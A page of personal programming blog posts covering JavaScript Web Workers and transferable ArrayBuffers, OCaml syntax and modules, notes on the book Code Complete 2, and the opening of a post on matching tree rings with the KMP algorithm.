Web Workers

August 4, 2016

In this post we study Web Workers, a technology that allows JavaScript code to run in separate threads. We’ll start by exploring the API with some toy examples and at the end discuss some applications.

Introduction

By default JavaScript runs in a single (the main thread), which can be a problem for user experience if expensive operations need to be performed in code which would affect responsiveness of the UI.

The thread that runs the web worker code has some environment limitations, which includes no access to the DOM or global objects such as window. [3] contains a list of functions and methods available to a Web Worker.

Besides that, memory is not shared between the threads, having to be explicitly serialized (so it can be cloned) and passed via a method (postMessage()). This can lead to performance issues if the amount of data to be copied is large. In Transferable Objects we’ll discuss an alternative.

Workers might spawn their own workers.

For some reason, the term "web workers" reminds me of these creatures from Spirited Away

For some reason, the term “web workers” reminds me of these creatures from Spirited Away :)

Let’s work a simple example. Imagine we have two files, main.js and worker.js (in the same directory):

main.js:

// Initializes the worker with the
// JavaScript code in worker.js
var myWorker = new Worker("worker.js");

// Post a message to the worker
myWorker.postMessage("Hello worker!");

// Callback that gets called when a 
// message is received from the worker.
myWorker.onmessage = function(/*MessageEvent*/ message) {
  console.log(
    'Message received from worker script: ', 
    message.data
  );
}

worker.js

onmessage = function(/*MessageEvent*/ message) {
  console.log(
    'Message received from main script: ', 
    message.data
  );
  postMessage("Hello main!");
}

Transferable Objects

By default data is copied when sending information back and forth between the main thread and the worker, using a process called structural cloning.

The serialization/deserialization can be expensive, for which case there is an alternative: transferrable objects. More specifically, we can work with ArrayBuffers, which can be “transferred” instead of cloned, which is a more performant operation, more precisely, O(1).

We’ll first cover ArrayBuffers and then see how to apply it in a context of Web Workers.

ArrayBuffer

According to [5]:

The ArrayBuffer is a data type that is used to represent a generic, fixed-length binary data buffer. You can’t directly manipulate the contents of an ArrayBuffer; instead, you create a typed array view or a DataView which represents the buffer in a specific format, and use that to read and write the contents of the buffer.

ArrayBuffer basically represents an unstructured array of bits, which, to have any meaning/interpretation, needs a view, which can be an array of 32-bit unsigned ints or 16-bit unsigned ints. In the example below we create an array buffer of 100 bytes.


// Number of bytes or number of elements
var buffer = new ArrayBuffer(100);

// A 32-bit unsigned int array of length 10 (i.e. 40 bytes), starting 
// from byte 0 at the array buffer
var int32View = new Uint32Array(buffer, 0, 10);
// A 16-bit unsigned int array of length 20 (i.e. 40 bytes), starting 
// from byte 0 at the array buffer
var int16View = new Uint16Array(buffer, 0, 20);

// Fill in the 16-bit array with 0, 1, 2...
for (var i = 0; i < int16View.length; i++) {
  int16View[i] = i;
}

// The memory is shared because we're reading from the same chunk of 
// the byte array.
for (var i = 0; i < int32View.length; i++) {
  console.log("Entry " + i + ": " + int32View[i]);
}

This is a very interesting model. In ArrayBuffers one explicitly work with the serialized form of the data and create views on top of them. I’m used to work with the views-first, that is, create a class representing some data and eventually add serialization/deserialization methods. One advantage of working with serialized data is that we don’t need to write the serialization methods, only the deserialization. The major disadvantage is that you need to know upfront how much memory you’ll have to use.

Transferrable objects

We can extend the example above to be used between a worker and the main thread.

worker.js:

var buffer = new ArrayBuffer(100);
var int16View = new Uint16Array(buffer, 0, 20);

for (var i = 0; i < int16View.length; i++) {
  int16View[i] = i;
}

console.log('array buffer size', buffer.byteLength); // 100
postMessage(buffer, [buffer]);
console.log('array buffer size?', buffer.byteLength); // 0

and in the main.js:

...
myWorker.onmessage = function(e) {
  buffer = e.data;
  // Number of bytes or number of elements
  var int32View = new Uint32Array(buffer, 0, 10);

  for (var i = 0; i < int32View.length; i++) {
    console.log("Entry " + i + ": " + int32View[i]);
  }
}

By logging the output to the console, we can see the main thread received the values written to the array buffer by the worker and after the worker transferred the buffer data, it was emptied out.

Note in the postMessage() API, we provide buffer as a the first parameter and then it also appears in the list indicating it should be transferred, not copied. Having to pass it twice is a bit confusing in my opinion, but this is to allow the example below, in which the objects transferred are nested inside another structure (in this case an object) and we want to transfer both buffer1 and buffer2 but not the top-level object. I’m not sure which use case the API designers had in mind, though.

postMessage(
  {'key1': buffer1, 'key2': buffer2}, 
  [buffer1, buffer2]
);

Error Handling

If any errors are uncaught by the worker, it can be caught from the main thread through the onerror callback:

myWorker.onerror = function(e) {
  console.log('an error occurred:', e);
  e.preventDefault();
}

Where e is an instance of ErrorEvent. We can simulate an error on the worker.js code:

throw new Error("Some error occurred");

Terminating

The main thread can terminate the worker

worker.terminate();

or the worker can terminate itself:

close();

Applications

A lot of the examples using Web Workers involve doing some fake expensive calculation in the worker thread, but I haven’t found any real-world application.

StackOverflow offers some ideas, including one that is dimissed as bad uses of Web Workers (polling) or from projects that are long defunct (Mozilla Skywriter). The main issue is that most of time heavy processing is done on the server.

One idea that came to mind is to use web-workers in React. React defers a lot of DOM work to the end by working with the concept of a virtual DOM. Web-workers don’t have access to the DOM but they do have it for virtual DOMs. Turns out this idea has been explored already [7, 8] but there were some technical difficulties in implementing events.

Conclusion

In this post we studied Web Workers and some examples utilizing it. I learned a few other related topics like ArrayBuffers, and Compositor Workers. I was a bit disappointed with the lack of compelling applications using Web Workers. I’ll try it out in some of my projects and see if I can any benefits from it.

References

Some of the code presented in this post is available on Github.

[1] MDN – Using Web Workers
[2] HTML5 Rocks – The Basics of Web Workers
[3] MDN – Functions and classes available to Web Workers
[4] Google Developers – Transferable Objects: Lightning Fast!
[5] MDN – JavaScript typed arrays
[6] StackOverflow – What are the use-cases for Web Workers?
[7] React Custom Renderer using Web Workers
[8] GibHub React Issues: Webworkers #3092
[9] Compositor Workers Proposal


OCaml Modules

July 17, 2016

camel

One prevalent syntax in some OCaml code I’ve encountered is about modules, so I decided to study them a little bit to be able to better understand the code I’ve been reading.

This post is based on Chapters 4 and 9 from Real World OCaml [1, 2], which we started in the last post.

Defining modules

By default, a file defines a module. Module names are derived from filenames and is always capitalized (even if the filename is not). Let’s define a toy example:

myModule.ml:

let a = 1;;

main.ml:

Printf.printf "%d\n" MyModule.a;;

We can now compile using the built-in ocamlc (make sure to follow the setup here):

ocamlc myModule.ml main.ml

Note that the order is important. Since main.ml depends on myModule.ml, it has to be included first. In case the files do not live in the same directory, we can use the -I option. For example, if myModule was in another_dir, we could compile using:

ocamlc -I another_dir/ another_dir/myModule.ml main.ml

A module has two parts: the definition and the signature. A module defined by a file filename.ml can be constrained by a signature in a file called filename.mli. The definition (mli) should be included in the compiling step and appear before the definition. For example, we could have

myModule.mli:

val a : int;;

and compile using:

ocamlc myModule.mli myModule.ml main.ml

Submodules

It’s possible to define multiple modules inside a file through submodules. We can add this to myModule.ml:

module MySubmodule : sig
  val inc : int -> int
end = struct
  let inc x = x + 1
end

and in main.ml:

Printf.printf "%d\n" (MyModule.MySubmodule.inc 1);;

Note that we still need to provide the module name defined by the filename. The first part of the definition is the type signature of the module and the second the definition. The general syntax is:

module <module name> : sig
  type <abstract type name>
  val <name> : <type signature>
end = struct
  type <abstract type name> = <concrete type>
  let <name> <definition>

Alternatively, we can separate the type definition from the implementation. In that case, we create a separate file with extension .mli containing the interface

myModule.mli:

module MySubmodule : sig
  val inc : int -> int
end

and in myModule.ml:

module MySubmodule = struct
  let inc x = x + 1
end

In general, the syntax for the signature is:

module type <module type name> : sig
  type <abstract type name>
  val <name> : <type signature>
end

and for the module definition is:

module <module name> : <module signature> = struct
  type <abstract type name> = <concrete type>
  let <name> <definition>

Including modules

Modules are made available when linking during compile time, but if we want to use a function from a module, we still need to qualify it. We can alternatively include them explicitly to avoid qualifying module names (similar to use namespace in C++).

open Module
foo

Instead of:

Module.foo

We can also invoke open inline:

# let average x y =
    let open Int64 in
    x + y / of_int 2;;
val average : int64 -> int64 -> int64 = <fun>

or alias the module to a shorter name with the let module construct:

let print_median m =
  let module C = Counter in
  match m with
  | C.Median string -> printf "True median:\n   %s\n" string
  | C.Before_and_after (before, after) ->
    printf "Before and after median:\n   %s\n   %s\n" before after

Functors

Functors are functions that transform modules, so it’s a function from a module to a module. A basic example is provided in [2]. First we define a toy signature signature:

module type X_int = sig 
  val x : int 
end;;

Then, we define a functor, which we call Increment:

module Increment (M : X_int) = struct
    let y = M.x + 1
end;;

What tells us this is a function is the extra parameter the module takes (M: X_int). In here, M is the name we give to the module and X_int is its interface. Since the interface tells us M has the x value, we can access it within our function. Note that Increment acts like a function, taking M (module) as parameter and returning another module, defined by the struct block. In this case, the type signature is different because the returned module has y instead of x. We can force the returned type of a function by adding a constraint:

module Increment (M : X_int) : X_int = struct
    let x = M.x + 1
end;;

Now, if we try to use y, we can a compilation error. To fix it, we just change y to x.

Functors cannot be used by themselves. They’re useful for creating modules out of existing modules. For an example, imagine we have a module implementing X_int:

module Three = struct
  let x = 3
end;;

We can create a new module Four, by transforming our Three module:

module Four = Increment(Three);;

// Testing the modules
Printf.printf "%d\n" Three.x;; // 3
Printf.printf "%d\n" Four.x;;  // 4

“Abstract” functors

In [2], the authors provide an example of an MakeInterval module, in which there’s a dependent type. First it creates a Comparable signature:

module type Comparable = sig
  type t
  val compare : t -> t -> int
end;;

to make it shorter (and less “real world”), I’ve created a simpler version here, MakeElement:

module MakeElement (InputModule : Comparable) = struct
  type t = Element of InputModule.t
  let create x = Element x
end;;

we can then create a module:

module IntElement = MakeElement(Int);;

The above works because Int satisfies the constraint defined by the Comparable module signature. The authors make a point here that sticking to standard conventions can improve reuse such as cases like this. We can finally use

# let e = IntElement.create 10;;
val e : IntElement.t = IntElement.Element 10

The authors argue that the IntElement exposes implementation details because Element is “exposed”:

# let e2 = IntElement.Element 10;;
val e2 : IntElement.t = IntElement.Element 10

One solution is to constrain the return type of the functor and not expose Element in the signature. The signature would look like:

module type ElementInterface = sig
  type t
  type element
  val create : element -> t
end;;

and the functor would look like:

module MakeElement (InputModule : Comparable): ElementInterface = struct
  type t = Element of InputModule.t
  let create x = Element x
end;;

The problem is the type element is not bound to anything, so we have to explicitly do it when defining the functor. The construct is the following

module MakeElement (InputModule : Comparable): 
  (ElementInterface with type element = InputModule.t) = struct
  type t = Element of InputModule.t
  type element = InputModule.t
  let create x = Element x
end;;

now MakeElement return a module with interface ElementInterface which doesn’t expose Element.

Destructive Substitution

One problem with the approach above is the redundant binding of type element. One slightly different syntax removes that requirement:

module MakeElement (InputModule : Comparable): 
  (ElementInterface with type element := InputModule.t) = 
struct
  type t = Element of InputModule.t
  let create x = Element x
end;;

We basically changed from = to :=, which is called destructive substitution.

Multiple Interfaces

It’s possible to “extend” more than one module signature when creating a new one. For example:

module type MyFunctor = sig
   include MyModuleInterface
   include MyModuleInterface2 with type t := t
end;;

Conclusion

Modules seems a very powerful concept in Ocaml. Besides organizing files, modules can act as functions and can model concepts from Object Oriented Programming like classes and interfaces.

I’ve been following a different study strategy while learning Ocaml. I try to read some real world code and when I get stuck understand a syntax or a pattern, I can search for them in a book. This makes it more interesting than reading a book cover to cover.

References

[1] Real World OCaml – Chapter 4. Files, Modules, and Programs
[2] Real World OCaml – Chapter 9. Functors
[3] Compiling OCaml projects


Exploring OCaml

June 26, 2016

camel

I’ve been learning the basics of OCaml in order to be able to follow the examples from Purely Functional Data Structures, from Chris Okasaki.

My background is that I have zero knowledge about OCaml, but having studied a bit of Haskell, I’m familiar with the main concepts in functional programming, so I’ll try to focus on syntax + difference between the two languages. I’ll probably skim through concepts from functional programming I’ve already covered previously on past Haskell posts.

Setup

I used to skip the setup from posts, but it might be useful to someone, especially with a similar environment, so I decided to include it here. This setup assumes MacOS and emacs.

Installing

Easily available on Brew:

$ brew install ocaml
$ brew install opam
$ ocaml

For other OS’es: https://ocaml.org/docs/install.html

Emacs syntax highlighting

Looks like tuareg is a popular mode for developing OCaml in emacs:

opam init
opam install tuareg

At the configuration file (~/.emacs.d/init.el) we can add:

(load "~/.opam/system/share/emacs/site-lisp/tuareg-site-file")

OCaml CLI

Typing ocaml in the terminal will bring up the CLI, but it’s not very interactive, not having a good way to go back previous command or edit strings in the middle. I’ve learned about this command line called rlwrap that implements this functionality. We can easily install it on mac:

brew install rlwrap

And invoke ocaml like this:

rlwrap ocaml

We can also add a simple alias to have these features as default:

alias ocaml='rlwrap ocaml'

Language Basics

Statements

Statements boundaries are defined by ;;. Example:

# 1 + 1;;
- : int = 2

This let us define multi-line expressions,

# 1 +
# 1
# ;;
- : int = 2

Comments

(* This is a single-line comment. *)

(* This is a
 * multi-line
 * comment.
 *)

Load code from file

It can become tedious to edit functions in the CLI. It’s possible to execute the contents of a file:

> ocaml
# #use "my-file.ml";;

Basic Types

* int – 31 or 63-bits, depending on the platform one of the bits is used for internal memory management

When writing literal number values, the underscore character is ignored (as long as it’s not the leading character). For example:

# 10_1___02__  + 1;;
- : int = 10103

This can be useful to define large numbers in a more user friendly way:

# let x = 12_434_934
val x : int = 12434934 

* float – IEEE double-precision floating point

OCaml doesn’t do explicit casts, especially between ints and floats. We have to cast using functions like int_of_float or float_of_int. Examples:

# 1 + 1;;
- : int = 2
# 1.3 +. 1.2;;
- : float 2.5
# 1 + 1.0;;
Error: This expression has type float but an expression was expected of type int
# 1 +. 1.
Error: This expression has type int but an expression was expected of type float
# 1 + (int_of_float 1.0)
- : int = 2
# (float_of_int 1) +. 1.
- : float 2.

Note that the sum operator for floats has an extra . character (+.)

* bool – true/false
* char – 8-bit ascii character
* string – more than a list of char, efficient internal representation

Variables

We can define variables by the use of let

# let a = 3 in
  let b = 4 in
  a + b;;
- : int = 3

This looks like imperative code at the first glance, but it’s slightly different. let <expr1> in <expr2>. The expr1 is only made available inside the scope of expr2. For example:

# let a = 3 in
  let b = 4 in
  a + b;;
- : int = 3
# a;;
Error: Unbound value a

Here the variable a was defined only for the expression:

  let b = 4 in
  a + b;;

When we terminated it with ;; , a was out of scope. We can also bind multiple variables in the same expression, for example:

# let a = 3 and let b = 4 in
  a + b;;
- : int = 3

Functions

Defining Functions

Example: A simple sum function

# let sum a b = a + b;;
val sum : int -> int -> int = <fun>
# sum 1 2
- : int = 3

Note how the type signature syntax is very similar to Haskell.

Explicit function type signature

Sometimes to avoid ambiguity, we might want to provide the types for the inputs/outputs of the function. For example, we might want to define a sum function only intended to be used by ints.

let intSum (a: int) (b: int) : int = a + b;;

Lambda functions

Denoted by the use of the fun construct, it’s useful for passing simple functions as parameter (for example to a map over lists).

# let doubleValues ls = 
  List.map (fun x -> 2*x) ls
;;
val doubleValues : int list -> int list = <fun>
# doubleValues [1; 2; 3];;
- : int list = [2; 4; 6]

Recursive functions

A function must be explicitly marked as recursive by add a rec, according to [2], due to technical reasons – mainly related to type inference.

Example: Computing the factorial of a natural number n:

# let rec factorial n =
  if n == 0 then 1
  else n * (factorial (n -1))
;;
val factorial : int -> int = <fun>
# factorial 10;;
- : int = 3628800

Matching patterns

Similar to Haskell, Ocaml has pattern match which we can use to decide which body of function to apply. For example, to invert a list we can do:

# let rec reverseList xs =
  match xs with
  | [] -> []
  | x :: xs -> (invertList xs) @ [x]
;;
# reverseList [1; 2; 3];;
- : int list = [3; 2; 1]

The _ operator indicates all the non-matched cases. For example, we could rewrite the reverseList function as

# let rec reverseList xs =
  match xs with
  | x :: xs -> (invertList xs) @ [x]
  | _ -> []
;;
# reverseList [1; 2; 3];;
- : int list = [3; 2; 1]

Labeled arguments

We can prefix a function parameter with ~ to indicate it’s a labeled (named) argument. Example:

# let div ~a ~b = float a /. float b;;
val div : a:int -> b:int -> float = <fun>
# div 10 2
- : float = 5.
# div ~b:10 ~a:2
- : float : 0.2

Note how the variable name shows up in the function’s type signature. It’s important because we may pass a function with labeled arguments to another function and it may make use of this fact (it’s also useful for documentation).

If the variable name matches the named parameter, we don’t need to repeat ourselves:

# let a = 10
val a : int = 10
# leb b = 2
val b : int = 2
# div ~b ~a

We can also apply currying using named arguments. For example, if we want generate a new function with the value b “bound”, we can do

# let b = 2
val b : int = 2
# let half = div ~b;;
val half : a:int -> float = <fun>
# half ~a
- : float = 0.5

When currying, positional parameters (i.e. non-labeled arguments) are always bound before the labeled ones. For example:

# let makeList3 ~a ~b c = [a; b; c];;
val makeList3 : a:'a -> b:'a -> 'a -> 'a list = <fun>
# let makeList2 = makeList3 1
val makeList3 : a:'a -> b:'a -> 'a list = <fun>
# makeList2 2 3
- : int list = [2; 3; 1]

Optional parameters

Optional parameters are prefixed with ? like sep in the example below:

# let concat ?sep x y =
  let sep = match sep with None -> "" | Some x -> x in
    x ^ sep ^ y
;;
val concat : ?sep:string -> string -> string -> string = <fun>

# concat "ab" "cd";;
- : string = "abbc"
# concat "ab" "bc" ~sep:",";;
- : string = "ab,cd"

The value coming from an optional parameter is either None or Some x. An optional parameter is also a labeled parameter.

In the example above, we use pattern matching to provide a default value to sep. There’s a shorter syntax for this:

let concat ?(sep=" ") x y =
  x ^ sep ^ y
;;
val concat : ?sep:string -> string -> string -> string = <fun>

By providing a default value, the value in the sep variable won’t be either None/Some, but the actual type expected, in this case a string.

It can be tricky to apply curry in the presence of optional arguments. [2] discusses in detail the heuristics applied by the compiler in different scenarios.

Conclusion

In this post we covered the very minimum to get our hands dirty with some OCaml code and learn the basic syntax. I don’t plan to study [2] for now. I’m mostly interested in learning enough to follow along Purely Functional Data Structures.

Some first impressions: the ocaml CLI is pretty limited, but thanks to rlwrap it becomes manageable. Haskell is more elegant, Ocaml is more practical.

For the next post in the series I plan to study the most basic and simple data structure in functional programming: lists.

References

[1] OCaml.org – The Basics
[2] Real World OCaml – Chapter 2. Variables and Functions


Review: Code Complete 2

May 31, 2016

code-complete

In this post I’ll share my notes about the book: Code Complete 2, by Steve McConnell. The book has great information about several aspects of Software Development, but it’s quite long: 862 pages.

This is not a summary of the book by any means, but rather points that I found interesting, novel or useful. I hope the reader find it useful or at least that it inspires you to go after the book for more details on a specific topic.

I’ve written down bullet points about each chapter, some of which I added my own thoughts/comments.

Chapter 1 – Introduction

* Motivation: What is Software construction and why it’s important
* Explains the overall format of the rest of the book

Chapter 2 – Metaphors

* Metaphors help to understand problems better and use solutions developed for the analogous problems and apply them to the original problem.
* Common analogy to software development is civil construction.
* Bad metaphors, from forced analogies, which can be misleading.

Chapter 3 – Prerequisites (gathering requirements)

* Errors caught in the specification phase are the cheapest to fix (10x if the error is caught in construction).
* Different types of software require different degrees of investment in prerequisites. Three categories of softwares:
— business (e.g. website),
— mission-critical (e.g. packaged software) and
— embedded/life critical (e.g. avionics or medical devices).
* Requirements changes over time, so your design has to be flexible enough to allow changes.

Chapter 4 – Construction Planning

* Important decisions that have to be taken before the construction phase: programming language, code conventions, development practices (e.g. pair-programming), etc.
* Technology wave and the tradeoffs of choosing technology in different stages of this wave. For example, late-wave technology is more mature, has better documentation and user-friendly error messages. On the other hand early-wave environments are usually created to address problems with existing solutions.

Comments: Adopting early technology also helps with recruiting. Programmers like new technology.

Chapter 5 – Design

* The main goal of the design should be to keep software complexity low.
* Different levels of design: software-level, packages, classes, routines and internal routines — different types of software require different amounts of design details.
* Two main flavors to carry over the design: bottom-up or top-down approaches.
* Information hiding is key in a good design: It helps lowering the complexity by not requiring the person reading the code abstract details and reduce decoupling.

Comments: Hiding information properly is an art. It doesn’t help to stick as much code as possible into private methods if the public methods are not intuitive and require diving into implementation details.

Chapter 6 – Classes

* Consistent abstractions – different methods in the class should model the problem at the same level. Example: a class representing an employees record which inherits from a List with two methods:

addEmployee()
firstItem()

The second one is closer to implementation detail. In general, the closest to the business level the abstraction is, the better.

* Inheritance vs. composition: Inheritance if often abused and long chains of inheritance is often hard to read. Arthur Riel suggests no more than 6 levels, author says it should be limited to 3 levels.
* Be careful with excess of attribution to a single class. Heuristic that a class should have at most 7 members.

Chapter 7 – Routines

* Naming: should be verb + noun and should describe the value it returns (if any).
* The purpose of a routine is to reduce complexity.
* The heuristic to the maximum number of parameters is 7.
* Routines should follow the linux philosophy: it should do one thing and do it well.

Comments: in the past I used to think of routines as ways to share code. This sometimes conflicts with readability and the linux principle. This is especially true when you group several routines calls into one because it’s used in two places, but they’re not cohesive enough to name it the routine clearly, so we end up using vague terms such as init, prepare, preprocess, cleanup, etc. Nowadays I prefer being verbose (i.e. repeating the lines in both places) in favor of readable code.

Chapter 8 – Defensive Programming

* When to use assertions: error handling for things you expect to occur and assertion for the ones you don’t expect.
* When to use exceptions: should be defined a convention. The name of the exceptions should match the level of abstraction of the current code (e.g. no RuntimeException where business logic is defined) this also means catch/re-throwing if the exception crosses the boundary of two different abstraction layers.
* Barricades: a specific layer that deals with bad input so that the core code doesn’t have to deal with them.

Comments: the barricade is pretty nice, it helps reducing the complexity in the main code by not having to handle too many corner cases and also centralizes where bad data is handled, so you don’t risk double or triple checking the same conditions in several places.

defense

Chapter 9 – Pseudocode Programming Process (PPP)

* Describe the routine first in pseudo-code and then add the actual implementation but leaving the pseudo-code as comment.

Chapter 10 – Variables

* The span of a variable is defined as the number of lines between where a variable is declared to where it’s used. The average span of a variable is a indicator of complexity. High span variables means that the variable is spread out along the code. To reduce this number one can try to re-order statements in such a way that variables are declared close to where it’s used and all its uses are grouped in closer places.

Chapter 11 – Variable naming

* Optimal length is 10 to 16 characters.
* Computed qualities such as total, max, should be suffix, not prefix.
* Use conventions to indicate special types of variables such as loop indexes, temporary, boolean, enums, etc.
* Define a document for consistent variable naming conventions, including abbreviations.

Chapter 12 – Fundamental Data Types

* Consider using special purposed containers instead of plain arrays. Most of the cases we need sequential access, so queue, stack or sets can be more appropriate.
* Use intermediated boolean variables for the sole purpose of making complex predicates (in if clauses) simpler.

Chapter 13 – Unusual Data Types

* Organize related set of variables into a structure so they become more readable/easier to copy.
* Global variables are evil. If you need them, at least out them behind access routines (e.g. static member variables in a class).

Chapter 14 – Organizing code within a routine

* Make dependencies between 2 pieces of code obvious: via parameters, comments or flags + invariants.
* To break dependencies chunks of code, initializing variables in the beginning of the routine might help.

Comments: I also like memoized functions to break dependencies. If B depends on A being run, I create A as a memoized function that B can call no matter if it had been called already.

Chapter 15 – Conditionals

* When doing if/else conditionals, test the “normal” case first and the exception in the “else”.

Comments: I tend to do the opposite in favor of the early returns: this helps reducing nesting and clear up corner cases first – this works well when the handling of the exception case is simple.

Chapter 16 – Loops

* Keep as much code outside of the loop as possible, and treat it as a black box, if possible.
* Perform only one function in the loop, prefer using multiple loops with simple functions than one loop with many functions – unless you can prove that using multiple loops is the bottleneck of the code.
* The loop body should be short (<20 lines) and should be visible entirely in the screen.
* Loop nesting should be limited to 3 levels.

Chapter 17 – Unusual Control Structures

* Multiple returns within the same routine: use only if this improves readability.
* Avoid recursion if possible. Restrict it to a single routine (no chains like A -> B -> A -> B...).

Chapter 18 – Table-driven methods

* Simplify complicated conditional logic by pre-computing the values and hard-coding them in a lookup table (works if inputs are discrete).

Chapter 19 – General control issues

* When comparing numbers, use the number-line order, in other words, always use the “. For example, instead of

a < 0 || a > 10 do a < 0 || 10 < a

* Do not put side effects on conditionals.
* Switch/Case statements indicates poorly factored code in OO programming.
* Measuring control complexity in a routine: count the number of if, while, for, and, or and case. It should be less than 10.

Chapter 20 – Quality assurance

* Testing and code reviews are not enough by themselves. A combination of different techniques yields the lowest number of bugs in general.
* In studies, code review by 2 people found twice more errors as code reviews by 1 person – this is surprising because one would think a lot of the errors found by each reviewer would overlap. The book doesn’t mention the optimal number of reviewers.
* There are many qualities in a software including: correctness, usability, efficiency, reliability, flexibility and robustness, and some of them are conflicting (e.g. improving robustness decreases efficiency). Decide upfront which characteristic to optimize and keep the tradeoffs in mind.

Chapter 21 – Collaborative Development

* Formal inspections of design: the author of the design creates a document and other people in the team have to review it independently. This not only forces the designer to think it thoroughly, but also makes sure other people in the team will be familiar with the architecture.

Chapter 22 – Testing

* Exercise control flows. Instead of testing all conditionals combinations (which would be exponential, and prohibitive), add 2 tests for each conditional (one for the true and another for the false cases).
* Test data flow. The suggestion is to test all pairs of (definition, usage) of all variables. For example, if we have

  int a = 10; // 1
  ...
  if (x < a) { // 2
     ...
  } 
  int b = a + 1; // 3

In this case we would add two tests: one that exercises lines (1) and (2) and another that exercises (1) and (3).

* Bug distribution is not uniform across the code. It’s more likely that 20% of the code contains 80% of the bugs. It’s important to identify these areas and avoid over-testing, especially if using TDD.
* Keep records of bugs and fixes: where the bugs were found, severity of the code, etc. This will help to identify the critical paths.

Chapter 23 – Debugging

* A bug in your code means you don’t fully understand your code.
* Reproduce the error in different ways, to make sure you understand what is really causing the problem.
* Rewriting code might be a better alternative if debugging is taking too long. The idea is set a maximum time dedicated to debugging, after which one is allowed more drastic solutions such as rewrites.

Chapter 24 – Refactoring

* Make refactorings safe. In order to accomplish that, they should be small, self-contained, easy to review, documented, and tested.
* Different refactorings have different risks degrees and the planned accordingly.
* Book recommendation: Refactoring: Improving the Design of Existing Code by Martin Fowler.

Chapter 25 – Code Tuning

* Code tuning is overrated.
* Performance is often not the best feature to optimize: throughput and correctness are more important.
* 4% of the code accounts for 50% of the performance – and programmers are bad at guessing code bottlenecks. Finish the product first, and profiling to find the bottlenecks.
* Common sources of performance bottlenecks are system calls, I/O and pagination.

Chapter 26 – Code Tuning Techniques

* Specific techniques to improve runtime of code.
* Experimental results for each technique shows that in some environments the optimizations provide great performance gains, but in other cases, no significant improvements are obtained (sometimes degrading performance).
* The key takeaway is: profile! Compilers are very smart nowadays, so it’s hard to predict what roles an optimization will be converted to final machine code.
* Downside of optimizations is loss of readability:

“The impact of unmeasured code tuning on performance is speculative at best, whereas the impact on readability is as certain as it is detrimental.”

Chapter 27 – Program Size Affect Construction

* As the code size grows,
— More people are necessary, increasing communication overhead
— Productivity is lower
— Error density increases
— More time has to be proportionally spent on non-construction phases (planning and design)

Chapter 28 – Managing Construction

This chapter seems to be more targeted to managers, but also useful to developers to understand the “other side”.

* On encouraging good coding:

“If someone on a project is going to define standards, have a respected architect define the standards rather than the manager. Software projects operate as much on an expertise hierarchy as on an authority hierarchy.”

* Configuration management: practices to deal with changes, either in requirements, design or source code.
— Discuss planned changes in group, no matter how easy they are to implement, so people keep track of .
* Estimating construction time:
— Use estimating software,
— Treat estimation seriously
— Adjust estimates periodically and
— If initial estimations were off, learn why.

Chapter 29 – Integration

* Different strategies for doing code integration, mainly top-down (start with skeleton and fill in the blanks) and bottom-up (starts with individual pieces and glue them together).
* Strategies to make the integration smoother, such as automated builds and smoke tests.

Chapter 30 – Programming Tools

* Covers: IDE’s, tools for compiling, refactoring, debugging and testing
* Large projects require special purpose tools
* Programmers overlook some powerful tools for years before discovering them

11054398564_58a9322fa1_o

Chapter 31 – Layout and Style

* Covers indentation, line breaks
* Do not align assignment statements on the ‘=’ sign. The idea is noble and it improves readability, but it’s a standard hard to maintain. Not everyone will have the same care and also automated refactors will likely miss it.
* Add at least one blank line before each comment

Chapter 32 – Self-documenting code

* Don’t comment too much or too little :)
* The author admits there’s not a lot of hard-data regarding usefulness of comments and what the “right” amount is
* Comment while or, better yet, before coding
* Especially in bug fixes, the comment should explain why the code works now, not why it didn’t work in the past.
* Comments styles have to be easy to maintain (avoid end-of-line comments, because if the variable gets renamed, it will misalign the comment)

Chapter 33 – Personal Character

Traits that the author considers important in a good programmer:

* Humility – admits their limitation, open to learn new things, change their minds
* Curiosity

Analyze and plan before you act: dichotomy between analysis and action. Programmers tend to err of the side of acting.

* Intellectual Honesty – admit mistakes, be honest/realistic about estimates and delays,
* Communication
* Creativity
* Discipline
* Laziness

The most important work in effective programming is thinking, and people tend not to look busy when they’re thinking. If I worked with a programmer who looked busy all the time, I’d assume he was not a good programmer because he wasn’t using his most valuable tool, his brain.

Traits that the author thinks are overrated:

* Persistence
* Experience
* Gonzo programming – programming like crazy, non-stop

Chapter 34 – Themes in Software Craftsmanship

Conclusion and review of thee book

* The primary goal of software design and construction is conquering complexity
* Process matters.

My message to the serious programmer is: spend a part of your working day examining and refining your own methods. Even though programmers are always struggling to meet some future or past deadline, methodological abstraction is a wise long-term investment – Robert W. Floyd.

* Write programs for people first, computers second
* Watch for warning signs. Examples: a high number of bugs in a particular class may indicate the class is poorly design. A lot of bugs in the project overall might indicate a flawed development process. Difficulty to reuse in another place, indicates it’s too coupled, etc.

Chapter 35 – Where to find more information

Books recommendation:

* Pragmatic Programmer – Hunt and Thomas.
* Programming Pearls – Bentley, J.
* Extreme Programming Explained: Embrace Change – Beck, K.
* The Psychology of Computer Programming – Weinberg.
* The Mythical Man-Month – Brooks
* Software Creativity – Glass, R.
* Software Engineering: A Practitioner’s Approach – Pressman, R.
* Facts and Fallacies of Software Engineering – Glass, R.
* UML Distilled – Fowler, M.
* Refactoring: Improving the Design of Existing Code – Fowler, M.
* Design Patterns – Gamma et al.
* Writing Solid Code – Maguire, S.

Conclusion

This book contains a lot of valuable information and I’ve incorporated several of his ideas in my day-to-day work, especially regarding making code easier to read.

The suggestions in the book are often backed by hard data, making them more credible. Sometimes the advice is subjective, even contradicting, but he often provides several points of view or alternatives, so that the reader can make their best judgement of when to use them.


Tree Ring Matching using the KMP Algorithm

March 12, 2016

Disclaimer: trees and rings are concepts found in Mathematics and Computer Science, but in this post they refer to the biology concepts ;)

Biosphere 2

Earlier this year I went to Arizona and visited the Biosphere 2. Its initial goal was to simulate a close environment where a group of 6 humans should survive for 2 years without any exchange with the exterior (except sunlight, of course). They had different biomes, including a rain forest, an ocean to a desert.

Biosphere 2

Biosphere 2

The plan didn’t go well because they had missed interaction of the plants in one of the seasons, which causes the level of oxygen to fall under the accepted level, so they had to get extern supply. The mission did last 2 years, but was not a perfect closed environment.

Later, another mission was attempted, but had to be abandoned after a few months. The project lost its funding and no more attempts were performed. Nowadays, the place is used by biologists to study environments under controlled conditions and also open to the public for tours (the Nautilus magazine recently wrote more about this).

The tour includes a small museum explaining some of the research, one of them is analyzing trees to understand the ecosystem from the past. According to one of the exhibits, tree rings can be used to determine the age of the tree and also some climate from that period, a process called dendrochronology. The more rings a tree has, the old it is and the width of the tree varies with the climate during the period of its growth.

A lot of the trees alive today are not too old. On the other hand they have fossil of older trees. Since they possibly co-existed for a period of time, it’s possible to combine the data from the rings of both trees by matching the outer rings of the fossil tree with the inner rings of the recent tree.

x

